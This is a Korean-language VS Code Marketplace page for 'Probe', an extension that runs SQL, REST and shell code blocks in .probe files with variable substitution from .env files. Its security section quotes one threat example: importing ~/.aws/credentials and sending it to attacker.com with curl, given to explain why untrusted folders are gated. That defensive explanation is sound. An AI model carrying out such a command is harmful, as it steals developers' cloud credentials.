Skip to content
| Marketplace
Sign in
Visual Studio Code>Other>ProbeNew to Visual Studio Code? Get it now.
Probe

Probe

Auseong

|
3 installs
| (0) | Free
.probe 파일에서 ```sql / ```rest / ```sh 코드 블럭을 실행
Installation
Launch VS Code Quick Open (Ctrl+P), paste the following command, and press enter.
Copied to clipboard
More Info

Probe

.probe 파일 하나에 SQL·HTTP 요청·셸 명령을 마크다운 코드 블럭으로 적어두고, 블럭 단위로 실행하는 VS Code 확장입니다. 스크래치패드처럼 쿼리·요청·명령을 모아두고 버튼 한 번으로 돌립니다.

## 사용자 수
​```sql
SELECT COUNT(*) FROM users;
​```

## 헬스 체크
​```rest
GET https://httpbin.org/get
​```

## 배포 상태
​```sh
git log --oneline -5
​```

각 코드 블럭 위에 ▶ Run Query / ▶ Send Request / ▶ Run Command 버튼(CodeLens)이 뜨고, 커서를 블럭 안에 두고 Cmd+Enter로도 실행됩니다.


기능

  • .probe 언어: .probe 확장자를 전용 언어로 인식
  • 블럭 실행: 마크다운 펜스로 감싼 블럭만 실행
    • ```sql → 로컬 mysql CLI로 실행, 결과를 "Probe SQL" 출력 창에 표시
    • ```rest → REST Client 확장의 Send Request 로 전송
    • ```sh (bash / shell / zsh 도 동일) → 셸로 실행, 결과를 "Probe Shell" 출력 창에 표시
  • 실행 방법 3가지
    1. 블럭 위 CodeLens 버튼 클릭
    2. 커서를 블럭 안에 두고 Cmd+Enter
    3. 우클릭 → Probe: Run Query
  • 변수 치환: 문서 상단에서 @import ./vars.env 로 값을 불러오고, 블럭의 {{KEY}}를 실행 직전에 치환
  • 안전장치: 닫는 펜스(```)가 없는 미완성 블럭은 실행 대상에서 제외

요구 사항

대상 필요한 것
```sql 블럭 mysql CLI (PATH에 없으면 probe.mysql.path로 전체 경로 지정)
```rest 블럭 VS Code 확장 humao.rest-client
```sh 블럭 없음 (기본은 $SHELL, 없으면 /bin/bash)

셸 블럭

```sh 블럭의 내용은 셸에 통째로 넘어갑니다. 여러 줄, 파이프, 리다이렉션 모두 터미널에 붙여넣은 것과 같게 동작합니다.

​```sh
cd api && git fetch --quiet
git log --oneline origin/main -5
​```
  • 작업 디렉터리: 워크스페이스 폴더 → (없으면) .probe 파일이 있는 폴더. probe.shell.cwd로 고정할 수 있습니다.
  • 환경: 기본적으로 로그인 셸(-l) 로 실행해 .zprofile 등 프로필을 읽습니다. 그래서 PATH와 alias가 평소 터미널과 같습니다 (probe.shell.loginShell로 끌 수 있음).
  • 중단: 오래 도는 명령은 Cmd+Shift+P → Probe: Stop Shell Command 로 끊습니다. 파이프로 띄운 자식까지 프로세스 그룹째 종료합니다.
  • 출력: stdout/stderr를 "Probe Shell" 출력 창에 흘려보내고, 끝나면 종료 코드와 걸린 시간을 찍습니다. 색상 이스케이프는 제거합니다.

대화형 명령(vim, 비밀번호 프롬프트 등)은 출력 창이 입력을 받지 못하므로 쓸 수 없습니다. stdin은 바로 닫힙니다.

안전장치

셸 블럭은 임의의 명령을 실행합니다. .probe 파일과 .vscode/settings.json은 저장소에 커밋돼 함께 배포되므로, VS Code가 tasks.json을 다루는 것과 같은 장치에 맡깁니다.

  • 워크스페이스 신뢰(Workspace Trust): 신뢰하지 않은 폴더에서는 ```sh 블럭을 실행하지 않습니다. 실행을 시도하면 신뢰 설정으로 안내합니다.
  • 설정 주입 차단: 신뢰하지 않은 폴더에서는 probe.shell.path, probe.shell.cwd, probe.mysql.path의 워크스페이스 값을 무시합니다. 남의 저장소가 .vscode/settings.json으로 실행 파일 경로를 바꿔치기하는 것을 막습니다.
  • 확인 창: probe.shell.confirmBeforeRun을 켜면 실행 전에 스크립트 전문을 보여주고 묻습니다. 분량이 넘쳐 잘릴 때는 잘렸다는 사실을 함께 표시합니다.
  • 자동 실행 없음: 파일을 여는 것만으로는 아무것도 실행되지 않습니다. 항상 버튼이나 Cmd+Enter가 필요합니다.

폴더를 신뢰하면 그 폴더의 워크스페이스 설정과 셸 블럭이 모두 활성화됩니다 — 신뢰는 "이 저장소의 내용을 확인했다"는 뜻입니다. 남에게 받은 .probe는 신뢰하기 전에 읽어보세요.


변수 치환

문서가 자기 머리에서 변수 파일을 불러오고, 블럭을 실행하기 직전에 {{KEY}}를 그 값으로 바꿉니다. 값의 출처가 문서에 적혀 있으므로, 파일을 받은 사람도 같은 결과를 얻습니다.

@import ../.env          # 프로젝트가 이미 갖고 있는 값
@import ./db.env         # 이 문서에 필요한 값 추가
@import ./local.env      # 내 PC 전용 오버라이드 (git-ignore)

## 사용자 수
​```sql
SELECT COUNT(*) FROM users WHERE tenant = '{{TENANT}}';
​```
  • @import <경로> — 코드 블럭 밖의 줄 시작에 오면 지시자입니다. 문서 어디에 있어도 문서 전체에 적용되고, 관례는 첫 제목 위 최상단입니다.
  • 여러 줄 = 겹쳐 쌓기 — 뒤에 온 파일이 앞의 같은 키를 덮습니다(later-wins). 얕은 키 단위 병합입니다.
  • 경로 — 상대 경로는 .probe 파일이 있는 디렉터리 기준. ~, ${workspaceFolder}, ${fileDirname}도 쓸 수 있습니다.
  • 형식은 .env(dotenv) — 프로젝트에 이미 있고 이미 git-ignore 된 파일을 그대로 씁니다. 중첩 @import는 지원하지 않습니다(.env는 dotenv 형식이지 Probe 문법이 아닙니다).

examples/variables.probe에 동작하는 예시가 있습니다.

토큰 규칙

  • 문법은 {{KEY}} 하나. 내부 공백 허용({{ KEY }}), 키는 [A-Za-z_][A-Za-z0-9_]*, 대소문자 구분.
  • 재귀 치환 없음 — 값 안의 {{X}}나 ${X}는 리터럴로 남습니다.
  • 리터럴 삽입 — 인용·이스케이프를 자동으로 하지 않습니다. 어떤 문맥(셸 문자열 안/밖, SQL 리터럴 안)에 들어가는지 알 수 없고, 잘못 추측한 자동 인용은 조용히 값을 바꿔버리기 때문입니다. 여러 줄 값은 따옴표 안에 두세요.
    echo "{{PRIVATE_KEY}}" > /tmp/key.pem   # 따옴표 안 → 의도대로
    echo {{PRIVATE_KEY}} > /tmp/key.pem     # 따옴표 밖 → 줄바꿈에서 명령이 쪼개짐
    

```sh 블럭에서 $VAR는 셸 자신이 프로세스 환경변수로 해석합니다. 역할이 겹치지 않습니다.

curl {{BASE_URL}}/health -H "Authorization: Bearer $CI_TOKEN"
#    ^^^^^^^^^^^^ import한 파일의 값        ^^^^^^^^^ 실행 시점 셸 환경

러너별 적용

러너 치환
```sql ✅ mysql stdin으로 보내기 직전
```sh ✅ 셸에 넘기는 스크립트 원문
```rest ❌ 치환하지 않음

rest 블럭은 예외입니다. Probe는 블럭 범위를 선택으로 만들어 REST Client에 넘기기만 하므로 텍스트에 개입할 수 없고, REST Client는 이미 자체 {{var}} 기능을 갖고 있어 이중 치환이 됩니다. 문법은 {{}}로 같아 보여도 책임 주체가 블럭 타입에 따라 다릅니다 — sql/sh는 Probe가, rest는 REST Client가 채웁니다.

rest 블럭의 {{}} 도 미정의를 검사합니다

.http 파일에서 REST Client는 정의 없는 {{X}}에 X is not found 에러를 표시합니다. 그런데 그 진단은 languageId로 게이팅돼 있어("http" === e.languageId) .probe 문서에는 붙지 않습니다. 그래서 같은 판정을 Probe가 대신 합니다.

상태 표시
REST Client 정의에 있음 (@base = 값, # @name login, # @prompt pw, 환경 설정) 없음 — hover가 어디서 찾았는지 알려줍니다
@import한 Probe 키에만 있음 Warning — 치환될 거라 기대하기 쉬운 자리입니다
아무 곳에도 없음 Error — .http에서 REST Client가 내는 것과 같은 자리
{{$guid}} 등 내장 변수 없음 — 참조 정규식이 \w로 시작하므로 애초에 대상이 아닙니다
@BASE_URL = https://httpbin.org

GET {{BASE_URL}}/get?tenant={{TENANT}}&sid={{SESSION_ID}}
#   ✓ 위에서 정의       ~~~~~~~~ Warning  ~~~~~~~~~~~~ Error

토큰에 마우스를 올리면 종류와 정의 위치를 함께 보여줍니다.

판정 규칙(참조·파일 변수·요청 이름·prompt 정규식)은 REST Client 0.25.1 번들에서 그대로 옮겼습니다. 정의는 REST Client와 마찬가지로 문서 전체에서 모읍니다 — 실행 시 REST Client도 .probe 문서 전체를 보기 때문에(processRawRequest → getCurrentTextDocument()), 다른 블럭에 적은 @base = 값이 그대로 통합니다.

두 가지 한계가 있습니다.

  • REST Client가 현재 선택한 환경은 자기 내부 저장소에만 있어 읽을 수 없습니다. 그래서 rest-client.environmentVariables의 모든 환경 키를 합쳐서 봅니다 — 다른 환경의 키를 미정의로 잘못 표시하는 오탐을 피하는 쪽입니다.
  • 요청 변수가 아직 안 보내진 상태는 알 수 없어 표시하지 않습니다(REST Client는 Info를 냅니다).

REST Client 규칙이 바뀌어 오탐이 생기면 probe.rest.validateVariables를 false로 끄세요. hover 안내는 그대로 남습니다.

rest 블럭에서 .env 값을 쓰려면 REST Client 쪽 문법인 {{$dotenv KEY}}를 씁니다. 다만 REST Client는 문서 폴더부터 위로 올라가며 .env 라는 이름의 파일만 찾으므로, Probe의 @import 경로(임의 파일명·여러 개 병합)와 자동으로 이어지지는 않습니다.

미정의 변수는 실행을 막습니다

{{KEY}} 중 하나라도 import한 파일에 없으면 실행하지 않습니다. WHERE id = {{USER_ID}}가 WHERE id = 로 나가 전체 테이블을 대상으로 하는 사고를 막기 위한 것이며, 여기서는 타협하지 않습니다. 부분 치환은 없습니다.

  • KEY=로 정의한 빈 문자열은 미정의가 아닙니다 — 치환되고 실행됩니다. 키를 미정의로 되돌리는 문법은 없습니다.
  • 문서에 {{}} 토큰이 아예 없으면 import가 깨져 있어도 실행을 막지 않습니다(경고만).

에디터에는 진단으로 바로 표시됩니다 — 실행할 때만 알려주면 문서를 쓰는 동안 오타를 모릅니다.

상황 표시 실행
{{UNKNOWN}} — import에 없는 키 토큰 위치에 Error 차단
@import 대상 파일 없음 @import 줄에 Warning 토큰이 있으면 차단
import 경로가 워크스페이스 밖 @import 줄에 Warning 허용
같은 파일 중복 import @import 줄에 Info 허용
.env의 닫히지 않은 따옴표 .env 해당 줄에 Error 그 키는 미정의
.env의 해석 불가한 줄 .env 해당 줄에 Warning 나머지 키로 진행
rest 블럭에서 import한 키와 이름이 겹침 토큰 위치에 Warning 허용 (치환하지 않음)
rest 블럭에서 REST Client 정의도 없음 토큰 위치에 Error 허용 (REST Client가 빈 값으로 보냄)

import한 파일을 저장하면 진단이 바로 갱신됩니다.

로드 상태 확인

@import 줄 위 CodeLens는 전환기가 아니라 로드 상태 표시기입니다.

┌ db.env · 변수 4개
@import ./db.env
  • 클릭하면 이 파일이 정한 값과, 뒤 파일에 가려진 값을 보여줍니다. 여러 파일을 겹쳐 쌓을 때 "지금 실제로 무슨 값이 쓰이나"가 가장 헷갈리는 지점입니다.
  • 파일이 없으면 ⚠ db.env 없음으로 바뀝니다.
  • Probe: Show Resolved Variables — 병합된 최종 맵 전체와 각 키의 출처 파일을 봅니다.

dotenv 방언

파서를 직접 씁니다(src/core/dotenv.ts). 지원 범위는 아래가 전부입니다.

규칙 동작
KEY=value 기본. 값 앞뒤 공백은 trim
export KEY=value export 접두 허용
# comment 전체 줄 주석. 빈 줄 무시
KEY="a b" 큰따옴표: 따옴표 제거, \n·\t·\"·\\ 해석
KEY='a b' 작은따옴표: 따옴표 제거, 이스케이프 해석 안 함
KEY= 빈 문자열로 정의됨 (미정의와 구분)
값 안의 ${OTHER} 보간하지 않음. 리터럴 유지
중복 키 나중 것이 이김
  • 따옴표 없는 값의 행중 주석(KEY=value # comment)은 주석이 아닙니다 — PASSWORD=ab#cd 같은 값이 조용히 잘리는 게 더 위험합니다. 주석을 붙이려면 값을 따옴표로 감싸세요.
  • 여러 줄 값: 값이 따옴표로 시작하고 같은 줄에서 닫히지 않으면 닫는 따옴표가 나오는 줄까지 이어 읽습니다.
    PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY-----
    MIIEpAIBAAKCAQEA...
    -----END RSA PRIVATE KEY-----"
    
    닫는 따옴표 없이 파일이 끝나면 그 키를 정의하지 않고 시작 줄에 Error를 냅니다. 나머지를 조용히 값으로 삼키지 않습니다.

신뢰와 시크릿

@import는 임의 파일을 읽어 셸 명령에 삽입하는 경로입니다. 악의적 저장소라면 @import ~/.aws/credentials 후 curl attacker.com -d '{{...}}' 같은 유출이 성립합니다. probe.shell.path를 게이팅하는 것과 같은 위협 모델이므로 같은 장치에 맡깁니다.

  • 신뢰하지 않은 폴더에서는 @import를 수행하지 않습니다(파일을 읽지 않습니다). {{}}가 든 블럭은 실행이 차단됩니다.
  • 확인 창과 출력 창 미리보기에는 치환된 최종 텍스트를 보여줍니다 — 실행 전에 값이 맞는지 확인할 수 있어야 합니다. 단 키 이름이 TOKEN/SECRET/PASSWORD/PWD/API_KEY/PRIVATE_KEY 류면 값을 ••••••••로 가립니다(probe.variables.maskSecretLike).
  • .env가 .gitignore에 있는지 확인하세요. Probe는 값을 SecretStorage로 옮기지 않습니다 — 파일이 원본입니다.

설정

Cmd+, → probe.mysql 검색, 또는 설정 JSON에 직접 입력합니다.

| 설정 | 기본값 | 설명 | |------|--------|------| | probe.mysql.path | mysql | mysql 실행 파일 경로 | | probe.mysql.host | localhost | 호스트 (-h) | | probe.mysql.user | root | 사용자 (-u) | | probe.mysql.database | (빈 값) | 사용할 데이터베이스 | | `probe.shell.path` | (빈 값) | 셸 실행 파일. 비우면 $SHELL → /bin/bash | | probe.shell.loginShell | true | 로그인 셸(-l)로 실행해 프로필(PATH·alias)을 읽음 | | probe.shell.cwd | `` (빈 값) | 작업 디렉터리. ${workspaceFolder}, ${fileDirname}, ~ 사용 가능 | | probe.shell.confirmBeforeRun | false | ```sh 블럭 실행 전 확인 창 | | probe.variables.maskSecretLike | true | 키 이름이 TOKEN/SECRET/PASSWORD 등일 때 미리보기에서 값을 가림 | | probe.rest.validateVariables | true | ```rest 블럭의 {{변수}}가 REST Client 정의에 있는지 검사 |

비밀번호는 설정이 아니라 커맨드 팔레트(Cmd+Shift+P)로 입력합니다.

  • Probe: Set MySQL Password — 현재 host/user/database 조합에 대한 비밀번호를 입력받아 VS Code의 SecretStorage(OS 키체인)에 저장합니다.
  • Probe: Clear MySQL Password — 저장된 비밀번호를 지웁니다.

보안: probe.mysql.password 설정은 더 이상 쓰지 않습니다. 과거에 설정해둔 값이 남아 있다면 다음 실행 때 자동으로 SecretStorage로 옮겨지고 설정에서 지워집니다. 직접 .vscode/settings.json에 비밀번호를 적어두지 마세요 — 저장소에 커밋될 수 있습니다.


사용법

  1. 아무 .probe 파일을 만든다 (예: queries.probe).
  2. 마크다운처럼 설명과 코드 블럭을 적는다.
  3. 실행할 ```sql / ```rest / ```sh 블럭 위 버튼을 누르거나, 블럭 안에서 Cmd+Enter.

examples/sample.probe에 예시가 들어 있습니다.


개발

npm install        # 의존성 설치
npm run compile    # TypeScript(→ out/) 컴파일
npm run watch      # 변경 감지 컴파일
npm test           # 단위 테스트 (bun)

VS Code에서 이 폴더를 열고 F5 → 확장이 로드된 새 창(Extension Development Host)이 뜨고 examples/ 폴더가 열립니다. 소스를 고치면 새 창에서 Cmd+R로 리로드합니다.

EDH가 여는 폴더를 examples/로 둔 이유, F5가 동작하지 않을 때의 원인 등은 TROUBLESHOOTING.md에 정리해두었습니다.

  • 언어: TypeScript 7 (tsc로 빌드/타입체크)
  • 포매팅: Prettier (세미콜론 없음, 작은따옴표, 저장 시 자동 적용)
  • 테스트: bun (bun test)

구조

src/
├── extension.ts          # 러너 등록 + 명령/CodeLens (dispatch)
├── core/
│   ├── blocks.ts         # 마크다운 코드 블럭 파싱 (순수 로직)
│   ├── outline.ts        # 제목·블럭 심볼 트리 (순수 로직)
│   ├── dotenv.ts         # .env 파싱 (순수 로직)
│   ├── imports.ts        # @import 수집 + 경로 해석 (순수 로직)
│   ├── variables.ts      # {{KEY}} 스캔·치환·병합 (순수 로직)
│   └── registry.ts       # Runner 타입 + register/getRunner
├── variables/            # 변수 기능의 vscode 계층 (파일 읽기·진단·CodeLens)
└── runners/
    ├── mysql/            # ```sql 실행
    ├── rest/             # ```rest 실행 (+ tokens/definitions/hover = {{}} 검사·안내)
    └── shell/            # ```sh 실행

새 러너 추가하기

  1. src/runners/<name>/index.ts 에서 Runner를 export
    export const fooRunner: Runner = {
      lang: 'foo',
      aliases: ['foo2'], // 선택: 같은 러너를 부르는 다른 펜스 표기
      label: '▶ Run',
      // payload.text = {{KEY}} 치환이 끝난 실행용 텍스트
      // payload.display = 사람에게 보여줄 텍스트 (시크릿 마스킹 적용)
      run: (editor, range, payload) => { /* ... */ },
    }
    
    substituteVariables: false를 주면 치환을 건너뛰고 원문이 그대로 넘어옵니다(rest가 그렇습니다).
  2. src/extension.ts 에 두 줄 추가
    import { fooRunner } from './runners/foo'
    register(fooRunner)
    
  3. test/runners/<name>.test.ts 로 테스트 추가

러너가 커지면 그 폴더 안에서 client.ts, config.ts 등으로 나누면 됩니다.


라이선스

MIT

  • Contact us
  • Jobs
  • Privacy
  • Manage cookies
  • Terms of use
  • Trademarks
  • Your Privacy Choices
  • Consumer Health Privacy
© 2026 Microsoft